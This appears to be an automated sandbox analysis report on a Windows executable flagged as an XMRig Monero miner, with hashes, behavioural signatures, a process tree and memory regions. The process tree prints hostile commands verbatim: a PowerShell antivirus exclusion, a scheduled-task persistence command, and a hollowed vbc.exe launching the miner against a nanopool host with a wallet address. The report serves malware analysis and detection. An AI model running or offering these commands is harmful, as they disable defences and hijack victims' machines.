Analysis
-
max time kernel
52s -
max time network
151s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
30-11-2022 03:09
Static task
static1
Behavioral task
behavioral1
Sample
7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0.exe
Resource
win7-20220901-en
General
-
Target
7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0.exe
-
Size
648KB
-
MD5
4f17d8dcc61d0dea7dd6c4cd0162b246
-
SHA1
d3a2505f416a32ed98e71117db7188cf1a464c5d
-
SHA256
7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0
-
SHA512
c4364d742f83dde0aec4a6120f5521bfff3df7e522eb43a3c9bcca6f3fbf3fdd000edb6aeceb2e4c84bebea46a6a3b110f538a982ce41919fb9f8da88ece98b2
-
SSDEEP
12288:cm+6CtnUrur4tohP1aYZKHbncTnCQB6X/MJiY:x+rpX0tohhZKb+YM
Malware Config
Signatures
-
XMRig Miner payload 8 IoCs
Processes:
resource yara_rule behavioral1/memory/1296-134-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1296-136-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1296-138-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1296-139-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1296-141-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1296-149-0x0000000140343234-mapping.dmp xmrig behavioral1/memory/1296-153-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/1296-158-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
Processes:
YHKO.exepid process 604 YHKO.exe -
Loads dropped DLL 1 IoCs
Processes:
cmd.exepid process 1780 cmd.exe -
Uses the VBS compiler for execution 1 TTPs
-
Suspicious use of SetThreadContext 1 IoCs
Processes:
YHKO.exedescription pid process target process PID 604 set thread context of 1296 604 YHKO.exe vbc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 1492 timeout.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0.exepowershell.exeYHKO.exepowershell.exepid process 1752 7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0.exe 516 powershell.exe 604 YHKO.exe 1092 powershell.exe 604 YHKO.exe 604 YHKO.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid process 464 -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0.exepowershell.exeYHKO.exepowershell.exevbc.exedescription pid process Token: SeDebugPrivilege 1752 7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0.exe Token: SeDebugPrivilege 516 powershell.exe Token: SeDebugPrivilege 604 YHKO.exe Token: SeDebugPrivilege 1092 powershell.exe Token: SeLockMemoryPrivilege 1296 vbc.exe Token: SeLockMemoryPrivilege 1296 vbc.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
vbc.exepid process 1296 vbc.exe -
Suspicious use of WriteProcessMemory 36 IoCs
Processes:
7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0.execmd.exeYHKO.execmd.exedescription pid process target process PID 1752 wrote to memory of 516 1752 7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0.exe powershell.exe PID 1752 wrote to memory of 516 1752 7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0.exe powershell.exe PID 1752 wrote to memory of 516 1752 7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0.exe powershell.exe PID 1752 wrote to memory of 1780 1752 7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0.exe cmd.exe PID 1752 wrote to memory of 1780 1752 7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0.exe cmd.exe PID 1752 wrote to memory of 1780 1752 7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0.exe cmd.exe PID 1780 wrote to memory of 1492 1780 cmd.exe timeout.exe PID 1780 wrote to memory of 1492 1780 cmd.exe timeout.exe PID 1780 wrote to memory of 1492 1780 cmd.exe timeout.exe PID 1780 wrote to memory of 604 1780 cmd.exe YHKO.exe PID 1780 wrote to memory of 604 1780 cmd.exe YHKO.exe PID 1780 wrote to memory of 604 1780 cmd.exe YHKO.exe PID 604 wrote to memory of 1092 604 YHKO.exe powershell.exe PID 604 wrote to memory of 1092 604 YHKO.exe powershell.exe PID 604 wrote to memory of 1092 604 YHKO.exe powershell.exe PID 604 wrote to memory of 936 604 YHKO.exe cmd.exe PID 604 wrote to memory of 936 604 YHKO.exe cmd.exe PID 604 wrote to memory of 936 604 YHKO.exe cmd.exe PID 936 wrote to memory of 764 936 cmd.exe schtasks.exe PID 936 wrote to memory of 764 936 cmd.exe schtasks.exe PID 936 wrote to memory of 764 936 cmd.exe schtasks.exe PID 604 wrote to memory of 1296 604 YHKO.exe vbc.exe PID 604 wrote to memory of 1296 604 YHKO.exe vbc.exe PID 604 wrote to memory of 1296 604 YHKO.exe vbc.exe PID 604 wrote to memory of 1296 604 YHKO.exe vbc.exe PID 604 wrote to memory of 1296 604 YHKO.exe vbc.exe PID 604 wrote to memory of 1296 604 YHKO.exe vbc.exe PID 604 wrote to memory of 1296 604 YHKO.exe vbc.exe PID 604 wrote to memory of 1296 604 YHKO.exe vbc.exe PID 604 wrote to memory of 1296 604 YHKO.exe vbc.exe PID 604 wrote to memory of 1296 604 YHKO.exe vbc.exe PID 604 wrote to memory of 1296 604 YHKO.exe vbc.exe PID 604 wrote to memory of 1296 604 YHKO.exe vbc.exe PID 604 wrote to memory of 1296 604 YHKO.exe vbc.exe PID 604 wrote to memory of 1296 604 YHKO.exe vbc.exe PID 604 wrote to memory of 1296 604 YHKO.exe vbc.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0.exe"C:\Users\Admin\AppData\Local\Temp\7a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp25F9.tmp.bat""2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
-
C:\ProgramData\dlllib\YHKO.exe"C:\ProgramData\dlllib\YHKO.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YHKO" /tr "C:\ProgramData\dlllib\YHKO.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YHKO" /tr "C:\ProgramData\dlllib\YHKO.exe"5⤵
- Creates scheduled task(s)
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\dlllib\YHKO.exeFilesize
648KB
MD54f17d8dcc61d0dea7dd6c4cd0162b246
SHA1d3a2505f416a32ed98e71117db7188cf1a464c5d
SHA2567a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0
SHA512c4364d742f83dde0aec4a6120f5521bfff3df7e522eb43a3c9bcca6f3fbf3fdd000edb6aeceb2e4c84bebea46a6a3b110f538a982ce41919fb9f8da88ece98b2
-
C:\ProgramData\dlllib\YHKO.exeFilesize
648KB
MD54f17d8dcc61d0dea7dd6c4cd0162b246
SHA1d3a2505f416a32ed98e71117db7188cf1a464c5d
SHA2567a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0
SHA512c4364d742f83dde0aec4a6120f5521bfff3df7e522eb43a3c9bcca6f3fbf3fdd000edb6aeceb2e4c84bebea46a6a3b110f538a982ce41919fb9f8da88ece98b2
-
C:\Users\Admin\AppData\Local\Temp\tmp25F9.tmp.batFilesize
139B
MD53c414ca37162aa38a56970386636f14c
SHA12422b751759cbc622b2190d2773cc26880ae39fe
SHA2563c80028f5db4afac2c034013715996fe93cb538c4e95bd3fd5bddba8b7efa08d
SHA512b637ffab7ec987675813b36d6eef4381a564bf28d325f875dd8987aedf3a44097fa9c04cc13d4ecbdaaa8254258ecddbecd27aae47a641b9ef2bf6a2f6deecda
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5e6bb1f89d489ec4c08a605125691e036
SHA1201f1e9ae0de50a9964da696c8143cbc0510717a
SHA2567ba071131b8212608968870027426aa241cb8c9e8eaac404178a562e1232818d
SHA51286394bc33050db5396d703b18074a4acf51b0b4f3de4202332132522070943648b0862739c4be18ab34d46dce6cb99e228af228c203fd5276179f03a22b34d74
-
\ProgramData\dlllib\YHKO.exeFilesize
648KB
MD54f17d8dcc61d0dea7dd6c4cd0162b246
SHA1d3a2505f416a32ed98e71117db7188cf1a464c5d
SHA2567a90312b845d684d8f0a2ae95cfc5f616d00dd25cbcb172335a36dd90c3340c0
SHA512c4364d742f83dde0aec4a6120f5521bfff3df7e522eb43a3c9bcca6f3fbf3fdd000edb6aeceb2e4c84bebea46a6a3b110f538a982ce41919fb9f8da88ece98b2
-
memory/516-72-0x0000000000000000-mapping.dmp
-
memory/516-82-0x00000000023E0000-0x0000000002460000-memory.dmpFilesize
512KB
-
memory/516-81-0x00000000023E0000-0x0000000002460000-memory.dmpFilesize
512KB
-
memory/516-80-0x000007FEF52A0000-0x000007FEF5DFD000-memory.dmpFilesize
11.4MB
-
memory/516-77-0x000007FEEC560000-0x000007FEECF83000-memory.dmpFilesize
10.1MB
-
memory/516-73-0x000007FEFB7F1000-0x000007FEFB7F3000-memory.dmpFilesize
8KB
-
memory/604-121-0x000007FEF0B10000-0x000007FEF0B72000-memory.dmpFilesize
392KB
-
memory/604-109-0x000007FEFB170000-0x000007FEFB385000-memory.dmpFilesize
2.1MB
-
memory/604-156-0x0000000000DC0000-0x0000000000EC8000-memory.dmpFilesize
1.0MB
-
memory/604-155-0x0000000000DC0000-0x0000000000EC8000-memory.dmpFilesize
1.0MB
-
memory/604-154-0x0000000000C40000-0x0000000000C83000-memory.dmpFilesize
268KB
-
memory/604-128-0x000007FEFC230000-0x000007FEFC28B000-memory.dmpFilesize
364KB
-
memory/604-127-0x000007FEFCF60000-0x000007FEFCF96000-memory.dmpFilesize
216KB
-
memory/604-126-0x000007FEFA440000-0x000007FEFA467000-memory.dmpFilesize
156KB
-
memory/604-123-0x000007FEF9060000-0x000007FEF90C4000-memory.dmpFilesize
400KB
-
memory/604-124-0x000007FEF90D0000-0x000007FEF9141000-memory.dmpFilesize
452KB
-
memory/604-125-0x000007FEFC9E0000-0x000007FEFCA05000-memory.dmpFilesize
148KB
-
memory/604-122-0x000007FEFEBE0000-0x000007FEFEC2D000-memory.dmpFilesize
308KB
-
memory/604-120-0x000007FEFA0D0000-0x000007FEFA0EC000-memory.dmpFilesize
112KB
-
memory/604-119-0x000007FEFC410000-0x000007FEFC427000-memory.dmpFilesize
92KB
-
memory/604-118-0x000007FEFC560000-0x000007FEFC582000-memory.dmpFilesize
136KB
-
memory/604-117-0x000007FEFE1A0000-0x000007FEFE1BF000-memory.dmpFilesize
124KB
-
memory/604-116-0x000007FEFDD40000-0x000007FEFDE17000-memory.dmpFilesize
860KB
-
memory/604-102-0x000007FEF6150000-0x000007FEF627C000-memory.dmpFilesize
1.2MB
-
memory/604-84-0x0000000000000000-mapping.dmp
-
memory/604-101-0x0000000000DC0000-0x0000000000EC8000-memory.dmpFilesize
1.0MB
-
memory/604-103-0x0000000000C40000-0x0000000000C83000-memory.dmpFilesize
268KB
-
memory/604-88-0x000007FEFAB10000-0x000007FEFAB7F000-memory.dmpFilesize
444KB
-
memory/604-89-0x000007FEFA930000-0x000007FEFA9CC000-memory.dmpFilesize
624KB
-
memory/604-90-0x000007FEFE380000-0x000007FEFE3E7000-memory.dmpFilesize
412KB
-
memory/604-91-0x0000000076BB0000-0x0000000076CAA000-memory.dmpFilesize
1000KB
-
memory/604-93-0x0000000076CB0000-0x0000000076DCF000-memory.dmpFilesize
1.1MB
-
memory/604-92-0x000007FEFED40000-0x000007FEFEDDF000-memory.dmpFilesize
636KB
-
memory/604-94-0x000007FEFCC40000-0x000007FEFCCAC000-memory.dmpFilesize
432KB
-
memory/604-95-0x000007FEFEA00000-0x000007FEFEA71000-memory.dmpFilesize
452KB
-
memory/604-96-0x000007FEF63D0000-0x000007FEF64C7000-memory.dmpFilesize
988KB
-
memory/604-97-0x000007FEFE3F0000-0x000007FEFE4CB000-memory.dmpFilesize
876KB
-
memory/604-98-0x000007FEF4A20000-0x000007FEF540C000-memory.dmpFilesize
9.9MB
-
memory/604-99-0x000007FEFE1C0000-0x000007FEFE2ED000-memory.dmpFilesize
1.2MB
-
memory/604-100-0x000007FEFE720000-0x000007FEFE923000-memory.dmpFilesize
2.0MB
-
memory/764-110-0x0000000000000000-mapping.dmp
-
memory/936-108-0x0000000000000000-mapping.dmp
-
memory/1092-112-0x000007FEEB450000-0x000007FEEBFAD000-memory.dmpFilesize
11.4MB
-
memory/1092-104-0x0000000000000000-mapping.dmp
-
memory/1092-115-0x00000000027EB000-0x000000000280A000-memory.dmpFilesize
124KB
-
memory/1092-114-0x00000000027EB000-0x000000000280A000-memory.dmpFilesize
124KB
-
memory/1092-113-0x00000000027E4000-0x00000000027E7000-memory.dmpFilesize
12KB
-
memory/1092-111-0x000007FEEBFB0000-0x000007FEEC9D3000-memory.dmpFilesize
10.1MB
-
memory/1296-153-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/1296-139-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/1296-158-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/1296-159-0x0000000000000000-0x0000000001000000-memory.dmpFilesize
16.0MB
-
memory/1296-129-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/1296-149-0x0000000140343234-mapping.dmp
-
memory/1296-141-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/1296-157-0x0000000000000000-0x0000000001000000-memory.dmpFilesize
16.0MB
-
memory/1296-138-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/1296-130-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/1296-136-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/1296-134-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/1296-132-0x0000000140000000-0x00000001407C9000-memory.dmpFilesize
7.8MB
-
memory/1492-78-0x0000000000000000-mapping.dmp
-
memory/1752-59-0x000007FEFED40000-0x000007FEFEDDF000-memory.dmpFilesize
636KB
-
memory/1752-63-0x000007FEFA8D0000-0x000007FEFA9C7000-memory.dmpFilesize
988KB
-
memory/1752-66-0x000007FEFE1C0000-0x000007FEFE2ED000-memory.dmpFilesize
1.2MB
-
memory/1752-71-0x000007FEF63A0000-0x000007FEF64CC000-memory.dmpFilesize
1.2MB
-
memory/1752-67-0x000007FEFE720000-0x000007FEFE923000-memory.dmpFilesize
2.0MB
-
memory/1752-76-0x000007FEFE1A0000-0x000007FEFE1BF000-memory.dmpFilesize
124KB
-
memory/1752-64-0x000007FEFE3F0000-0x000007FEFE4CB000-memory.dmpFilesize
876KB
-
memory/1752-79-0x0000000000B70000-0x0000000000C78000-memory.dmpFilesize
1.0MB
-
memory/1752-55-0x000007FEFAB80000-0x000007FEFABEF000-memory.dmpFilesize
444KB
-
memory/1752-65-0x000007FEF5410000-0x000007FEF5DFC000-memory.dmpFilesize
9.9MB
-
memory/1752-62-0x000007FEFEA00000-0x000007FEFEA71000-memory.dmpFilesize
452KB
-
memory/1752-61-0x000007FEFCC40000-0x000007FEFCCAC000-memory.dmpFilesize
432KB
-
memory/1752-60-0x0000000076CB0000-0x0000000076DCF000-memory.dmpFilesize
1.1MB
-
memory/1752-57-0x000007FEFE380000-0x000007FEFE3E7000-memory.dmpFilesize
412KB
-
memory/1752-70-0x0000000000B70000-0x0000000000C78000-memory.dmpFilesize
1.0MB
-
memory/1752-68-0x0000000000B70000-0x0000000000C78000-memory.dmpFilesize
1.0MB
-
memory/1752-69-0x0000000000780000-0x00000000007C3000-memory.dmpFilesize
268KB
-
memory/1752-58-0x0000000076BB0000-0x0000000076CAA000-memory.dmpFilesize
1000KB
-
memory/1752-56-0x000007FEFA9D0000-0x000007FEFAA6C000-memory.dmpFilesize
624KB
-
memory/1780-74-0x0000000000000000-mapping.dmp